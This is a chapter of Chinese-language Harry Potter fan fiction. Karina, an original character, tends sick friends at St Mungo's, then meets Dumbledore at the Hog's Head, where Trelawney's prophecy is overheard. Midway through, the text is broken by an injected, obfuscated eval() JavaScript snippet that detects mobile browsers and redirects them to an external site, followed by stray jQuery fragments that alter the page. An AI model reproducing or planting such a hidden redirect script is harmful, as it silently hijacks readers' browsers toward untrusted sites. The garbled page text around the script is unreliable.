阿尔法德的情况时好时坏。


    好的时候，他会在病房里走动，装模作样地在玻璃另一边冲他们做鬼脸。坏的时候，他只是静静地躺在床上，闭着眼睛、一动不动。


    “我丑得要命。”他有一天用自己青色的手给他们发消息，“像是青蛙——呱、呱、呱。”


    卡莉娜透过玻璃，看到他脸上带着笑容，依旧是像阳光一样明媚的阿尔法德。


    弗利蒙和尤菲米娅的情况糟糕得多。


    正如詹姆说的那样，他们俩不年轻了。大多数时候，他们俩只能够从床上转转脑袋，对窗外挥挥手，甚至没有给他们发消息的力气。詹姆如今频繁往返圣芒戈和戈德里克山谷，短短几周就迅速消瘦下去。


    “看在梅林的份上，”西里斯很不客气地把三明治塞到他手里，“哥们，你应该吃点什么。”


    詹姆捏着这个三明治看了半天。


    “好吧，”他嘟哝着说，推了推自己鼻梁上架着的圆框眼镜，“我就是有点忙。”


    他们仨在圣芒戈病房外的长椅上坐成一排，默默无言地吃三明治。


    圣芒戈三楼的走廊上几乎只剩下病人家属和忙得起飞的治疗师，新的龙痘疮感染者会通过圣芒戈开辟的一条新道从后门直通病房。普通病人则照旧从前门进来，治疗师们尽量维持着圣芒戈的正常秩序。


    “圣芒戈的正常秩序也相当忙碌。”他们仨目送着一个不断发出鸟叫声的病人上楼，西里斯这么说，“这些家伙到底都对自己做了什么？”


    “好问题，”詹姆尽量轻松地说，“他是在准点报时吗？”


    卡莉娜看了一眼自己的手表，发现正是下午五点。


    雷古勒斯快要下班，而她是翘班跑出来的。


    她紧接着想到阿布拉克萨斯·马尔福也还在龙痘疮的威力下奄奄一息——他倒是没有被送到圣芒戈来，卢修斯把许多治疗师请到家里为父亲治疗。考虑到种种因素，她给邓布利多教授发去信息，询问他是否方便当面谈谈。


    “猪头酒吧。”邓布利多教授的回复来得很快，“在此之后我还有一场会面，但在此之前，我想我们还有些时间……”


    卡莉娜温柔地拍了拍旁边的西里斯，告诉他自己还有些其他的事要做。


    “去吧，”西里斯无精打采地说，“我在这里看着阿尔法德——有事我会及时通知你。”


    詹姆则恹恹地站了起来，打算回去。


    “我得回去给莉莉做饭，”他说，“我尽量让她少做些杂事，虽然收效甚微。”


    说着，詹姆谴责地看着卡莉娜。


    “你给了她太多工作。”他表示，“当然，还有凤凰社……”


    “我没有给她太多工作。”卡莉娜声明道，“莉莉认为自己用不着放假，而且非常活蹦乱跳——当然，她有些焦虑，迫切需要做点什么来表现自己的价值——而且你神经紧张，她不想给你带来太多负担。”


    “我想也是。”詹姆理了理自己的头发，“她喜欢工作，但我还是要回去做饭——你知道，有些生食的味道会让她恶心。”


    “走吧，你们两个。”西里斯不耐烦地把他俩往外推，“我会在这里一直待着，这也算是无业游民的好处了！”


    卡莉娜和詹姆在圣芒戈门口幻影移形，各自奔向不同的地点。


    ————


    卡莉娜先是落在霍格莫德，而后沿着小路走向记忆中的猪头酒吧。


    她过去从没有走进过这家有些脏兮兮的酒吧，但向来听闻许多奇怪的顾客会被吸引到这里。多卡斯不止一次地抱怨这个地方，认为它是偷窃、走私等等违法犯罪行为的可怕温床。


    “但酒吧老板似乎有些背景，”马琳和她们俩说，“而且我们也需要这样一个灰色地带……堵不如疏，不是吗？”


    “你听起来像穆迪，”多卡斯模仿道，“至少我们知道去哪里盯着那些小毛贼们——”


    卡莉娜站在这家路口的小酒吧前，看到破破烂烂的木头招牌悬挂在门上锈迹斑斑的支架上，上面画着一个被砍下来的野猪头，血迹渗透了包着它的白布。她推开陈旧的门，迈步走进去前没有忘记改变自己的形象——她不想让别人知道自己在这儿。猪头酒吧只有一间又小又暗、非常肮脏的屋子，散发着一股浓浓的羊膻味。几扇凸窗上积着厚厚的污垢，光线几乎透不进来，粗糙的木头桌子上点着一些蜡烛头。


    酒吧老板是个看上去脾气暴躁的老头儿，长着一大堆长长的灰色头发和胡子，个子又高又瘦。他站在吧台后面，用一条脏兮兮的抹布擦拭着一只脏兮兮的杯子——卡莉娜怀疑这就是它最好的卫生条件。


    “要什么？”酒吧老板嘟哝着问。


    “喔，”卡莉娜说，“我和人约好了，他说自己在楼上有个房间……”


    酒吧老板的脸色看起来相当糟糕。他把杯子和抹布随手扔在吧台上，带着某种怒火引着卡莉娜往上走。


    “进。”酒吧老板打开一扇同样破旧的门，把卡莉娜胡乱推进去。


    然后这扇破旧的门被重重合上，发出巨大的响声。


    卡莉娜迷惑而茫然地站在房间中央，看到邓布利多教授穿着闪闪发光的漂亮袍子坐在灰扑扑的、吱嘎作响的椅子上。


    “下午好，”邓布利多教授安详地说，“或者晚上好，你可以任选一个。希望你不会对酒吧老板抱有什么负面的看法，他是一个相当好心的人，只是脾气比较火爆……”


    卡莉娜没有回答邓布利多教授的问题，而是仔仔细细地检查了房间内外，布设许多防窃听的咒语。


    “充分的保密意识。”邓布利多教授赞扬到，“看来你有重要的事要告诉我，卡莉娜。”


    “确实如此。”卡莉娜坐在自动弹开的另一张灰扑扑的椅子上，“阿布拉克萨斯·马尔福死了。”


    “是什么让你得出这个结论？”邓布利多教授为卡莉娜倒了一杯蜂蜜酒，“据我们现在了解的，他还在为自己的生命奋斗。”


    卡莉娜拒绝了这杯装在肮脏玻璃杯里的蜂蜜酒。


    “他没有被送到圣芒戈。”卡莉娜说，“当然，马尔福不喜欢和一帮‘下等人’混在一起，这倒是可以理解。”


    邓布利多教授愉快地接受了在肮脏玻璃杯里的蜂蜜酒。


    “卢修斯和西茜到现在都没有出现在公众面前，这对马尔福来讲却不寻常。”卡莉娜把两只手交叉在一块儿，“当然，他们可以用照顾父亲来解释，但忙到没有空给任何人发消息便显得格外奇怪……”


    “考虑到治疗师不会让人接近没有传染风险的龙痘疮患者。”邓布利多教授赞同道，“对于家属来讲，帮不上忙反而让人恐慌。”


    “是的。”卡莉娜注视着桌子上像是被放了几千年的蜂蜜酒瓶，沉默片刻。


    邓布利多教授温和的目光落在她身上，鼓励她继续往下说。


    “龙痘疮爆发的晚上，所有食死徒都离开了马尔福庄园，但他们俩没有。”卡莉娜有些出神地说，“他们在忙些别的事……或许阿布拉克萨斯那天晚上就奄奄一息了，甚至……”


    “他已经死了。”邓布利多教授平静地说，“马尔福家准备发丧，所有食死徒离开庄园不是因为龙痘疮，而是因为即将到来的葬礼。”


    “一个有趣的事实。”卡莉娜把自己的手解开，“所有曾经认识汤姆·里德尔的食死徒们都不再活跃了。”


    “阿布拉克萨斯。”邓布利多教授的目光越过镜片，“我记得他还是个学生的样子……”


    “他会以龙痘疮的原因发丧。”卡莉娜说，“一场葬礼，教授，马尔福家的葬礼。”


    “盛大的葬礼。”邓布利多教授又给自己倒了一杯蜂蜜酒，“我明白，卡莉娜，他们会愿意见到一位有价值的纯血朋友，身世背景不凡，在古灵阁有一金库的金子。”


    “而且在他们熟悉的纯血统谱系上。”卡莉娜赞成道，“我想我可以用自己的邀请函多带一个人。”


    “看来到时间了。”邓布利多教授看了看墙上模糊的钟，“也许你会愿意在这里吃一顿晚饭……阿不福思擅长煎肉排。”


    卡莉娜勉强接受了这个建议。


    满把灰色胡子的老头把一个装着煎肉排的盘子不耐烦地甩在她面前，给她配了一个干净的玻璃杯和一瓶落灰的黄油啤酒。


    “又一个。”他说，“被我哥哥欺骗的家伙。”


    “你也在凤凰社。”卡莉娜指出，“你是阿不福思·邓布利多，我看到过你的名字。”


    “这不一样。”阿不福思呼出的气把自己的胡子吹起，“反对我的哥哥和反对那个魔头是两码事。”


    “我想也是。”卡莉娜把肉排切开，“他今天晚上在这里还有一场会面？”


    “是的。”阿不福思漫不经心地说，“我知道你们的占卜课教授今年就要退休……要我说，她确实老得够呛，但占卜课也不是什么正经课程。”


    卡莉娜慢慢停下切割的动作。


    “茶叶、手相，水晶球……”阿不福思不屑地说，“胡编乱造，这是我在这节课上学到的唯一知识。就连阿不思都没有上它的提升课程，占卜课毫无用处，我们俩唯一的共识。”


    “他来面试新的占卜课教授？”卡莉娜转过头，“特里劳妮？西比尔·特里劳妮？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774399|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “就是她。”阿不福思警觉地问，“穿得像个大蜻蜓，想让所有人觉得她是个先知，但穷得连三把扫帚也住不起——她有什么问题吗？”


    “他们俩在哪见面？”卡莉娜问。


    “楼梯上来左转，”阿不福思很快地说，“最里面的那间屋子。”


    卡莉娜破门而出，阿不福思紧随其后。


    一个人正贴着最里面那间屋子的钥匙孔偷听。


    “看在梅林的份上！”阿不福思一把把偷听的人拎起来，而他手里的人不住挣扎、扭动。门被他们的推搡撞开，而卡莉娜一拳挥在这个家伙的鼻子上。


    邓布利多教授站了起来，而西比尔·特里劳妮正处于某种奇特的晕眩之中，嘴里说着什么话。


    派瑞特斯·伯斯德瞪了他们一眼，趁此机会摆脱阿不福思的大手，沿着走廊迅速逃走了。


    西比尔·特里劳妮紧接着又说了些什么，然后迷迷糊糊地回过神来。


    “我刚刚好像看见一个男孩儿逃走了！”她说，“那家伙是在偷听吗？”


    邓布利多教授和门外的两个人交换了一个眼神。


    “恭喜你，西比尔。”邓布利多对特里劳妮说，“霍格沃茨会很高兴有你担任占卜课教授。”


    “谢谢，谢谢！”特里劳妮喜出望外地说，“谢谢您，邓布利多教授！”


    他们被欣喜若狂的特里劳妮送出房间，卡莉娜和邓布利多教授回到原来的地方。


    “看来我的保密意识不够。”邓布利多教授说。


    “考虑到占卜和预言，我们很难把它和保密意识联系在一起。”卡莉娜试图加热自己面前冷掉的肉排，“毕竟它从未展示过什么神奇之处，而大部分自称为先知的都在招摇撞骗——事实上，我完全支持霍格沃茨取缔这个科目。”


    “它确实需要过人的天赋。”邓布利多教授沉思到，“不是所有人都能看见未来，是不是？”


    “预言本身倒不是什么问题。”“卡莉娜指出，“糟糕的是，派瑞特斯在门外偷听——我很高兴给自己做了伪装，否则他就会知道是谁给了他一拳。”


    “我看到他流鼻血。”邓布利多教授说，“或许他的鼻子断了。”


    “那个预言说了什么？”卡莉娜忍不住问，“通过他的表情，我想这够他在食死徒内部升职。”


    “他只听到了预言的前半截。”邓布利多教授撑着自己的下巴，“恐怕这让事情更糟。”


    卡莉娜等待着邓布利多教授的答案。


    “或许用冥想盆会更加直观。”邓布利多教授下结论道，“到我的办公室来。”


    ————


    他们俩站在一个浅底的石盆面前。卡莉娜看着邓布利多教授从自己的太阳穴抽出几缕银色的、如同蛛网般纤细的思想纤维，让它们在冥想盆里漂浮。


    他叹了口气，用魔杖将这些银丝般的物质挑在杖尖。


    一个人影从里面冒出来，卡莉娜认出这正是她看见的西比尔·特里劳妮——披着披肩，带着那副让她眼睛格外大的眼镜，用嘶哑的声音说话。


    “拥有征服黑魔头能力的人即将来临……他的父母曾三次逃脱黑魔头的魔爪……生于第七个月殆尽之时……黑魔头使之成为与他巅峰对决的死敌，但他拥有黑魔头对之无知的能力……一人注定死于另一人之手，因为两人不能同时存活……拥有征服黑魔头能力的人将于第七个月殆尽之时出生……”


    “您觉得呢，教授？”卡莉娜问。


    “我觉得？”邓布利多教授回答道，“就我所知，有两对夫妇完全符合这个预言的条件——他们的孩子即将在七月底出生。”


    “莉莉和詹姆，”卡莉娜说，“艾丽斯和弗兰克。”


    “确实如此。”邓布利多教授的眼睛微微地眯起，“但问题在于，黑魔头使之成为与他巅峰对决的死敌……这是一个非常巧妙的句子，卡莉娜。”


    “是的，”卡莉娜肯定地说，“如果黑魔王没有做出选择，或者他没来得及做出选择……那么，这个孩子就不会成为他巅峰对决的死敌。”


    “你觉得汤姆会相信这个预言吗？”邓布利多教授用深邃的目光看着卡莉娜。


    “他会的。”卡莉娜说，“他向来如此——极度自傲的同时极度自卑——他不会容许任何威胁出现在这个世界上。”


    “而我们要做的，是阻止他做出选择。”邓布利多教授的目光极其富有穿透力，“我们要避免一个孩子卷入不幸的命运。”


    “我从不相信预言。”卡莉娜站得笔直，“教授，您呢？”


    “从不。”邓布利多教授回答道。